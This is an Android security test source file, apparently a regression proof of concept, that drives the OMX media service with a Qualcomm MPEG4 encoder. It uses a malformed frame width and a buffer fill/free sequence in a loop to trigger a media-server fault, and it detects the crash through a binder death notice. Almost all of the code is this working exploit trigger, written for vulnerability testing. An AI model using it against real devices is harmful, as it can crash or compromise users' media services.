blob: e88883cbc4a7d3313fae5b1cf689dc924c20ee06 [file] [log] [blame]
/**
* Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#undef _GNU_SOURCE
#define _GNU_SOURCE
#include "../includes/common.h"
#include "media/stagefright/omx/OMXUtils.h"
#include "OMX_Component.h"
#include <binder/IServiceManager.h>
#include <binder/ProcessState.h>
#include <media/IMediaPlayerService.h>
#include <media/IOMX.h>
#include <media/OMXBuffer.h>
#include <media/hardware/HardwareAPI.h>
#include <stdlib.h>
#include <time.h>
using namespace android;
struct DummyOMXObserver : public BnOMXObserver {
public:
DummyOMXObserver() {}
virtual void onMessages(const std::list<omx_message> &messages __unused) {}
protected:
virtual ~DummyOMXObserver() {}
};
struct DeathRecipient : public IBinder::DeathRecipient {
DeathRecipient() : mDied(false) {}
bool mDied;
virtual void binderDied(const wp<IBinder> &who __unused) { mDied = true; }
bool died() const { return mDied; }
};
extern bool connectOMX(sp<IOMX> &omx) {
sp<IBinder> binder;
sp<IServiceManager> sm = defaultServiceManager();
binder = sm->getService(String16("media.player"));
sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);
if (binder == NULL) {
ALOGE("cannot get the media player service");
return false;
}
omx = service->getOMX();
if (omx == NULL) {
ALOGE("cannot get the OMX interface");
return false;
}
return true;
}
int poc() {
sp<IOMX> service;
if (connectOMX(service) == false) {
return EXIT_FAILURE;
}
sp<IOMXNode> node = 0;
OMXBuffer omxBuf;
int fenceFd = -1;
sp<DummyOMXObserver> observer = new DummyOMXObserver();
const char *codecName = "OMX.qcom.video.encoder.mpeg4";
status_t err = service->allocateNode(codecName, observer, &node);
if (err != OK) {
return EXIT_FAILURE;
}
sp<DeathRecipient> deathRecipient(new DeathRecipient());
IInterface::asBinder(service)->linkToDeath(deathRecipient);
err = node->sendCommand(OMX_CommandStateSet, 2);
// get input port parameters
OMX_PARAM_PORTDEFINITIONTYPE def;
InitOMXParams(&def);
def.nPortIndex = 0;
OMX_INDEXTYPE omx_indextype = OMX_IndexParamPortDefinition;
err = node->getParameter(omx_indextype, &def, sizeof(def));
def.format.image.nFrameWidth = 137;
err = node->setParameter(omx_indextype, &def, sizeof(def));
int inMemSize = def.nBufferCountActual * def.nBufferSize;
int inBufferCnt = def.nBufferCountActual;
int inBufferSize = inMemSize / inBufferCnt;
sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
// get output port parameters
InitOMXParams(&def);
def.nPortIndex = 1;
err = node->getParameter(omx_indextype, &def, sizeof(def));
// prepare output port buffers
int outMemSize = def.nBufferCountActual * def.nBufferSize;
int outBufferCnt = def.nBufferCountActual;
int outBufferSize = outMemSize / outBufferCnt;
sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
for (int i = 0; i < inBufferCnt; i++) {
sp<IMemory> memory = dealerIn->allocate(inBufferSize);
memset(memory->pointer(), 0xcd, inBufferSize);
OMXBuffer omxBuf(memory);
err = node->useBuffer(0, omxBuf, &inBufferId[i]);
}
for (int i = 0; i < outBufferCnt; i++) {
sp<IMemory> memory = dealerOut->allocate(outBufferSize);
}
// change state from idle to executing
err = node->sendCommand(OMX_CommandStateSet, 3);
sleep(1);
for (int i = 0; i < inBufferCnt; i++) {
err = node->emptyBuffer(inBufferId[i], omxBuf, 0, 0, fenceFd);
}
for (int i = 0; i < outBufferCnt; i++) {
err = node->fillBuffer(outBufferId[i], omxBuf, fenceFd);
node->freeBuffer(1, outBufferId[i]);
}
sleep(1);
node->freeNode();
if (deathRecipient->died()) {
exit(0); // binder died
}
return 0;
}
int main() {
sp<ProcessState> proc(ProcessState::self());
ProcessState::self()->startThreadPool();
time_t test_started = start_timer();
while (timer_active(test_started)) {
poc();
sleep(1);
}
return 0;
}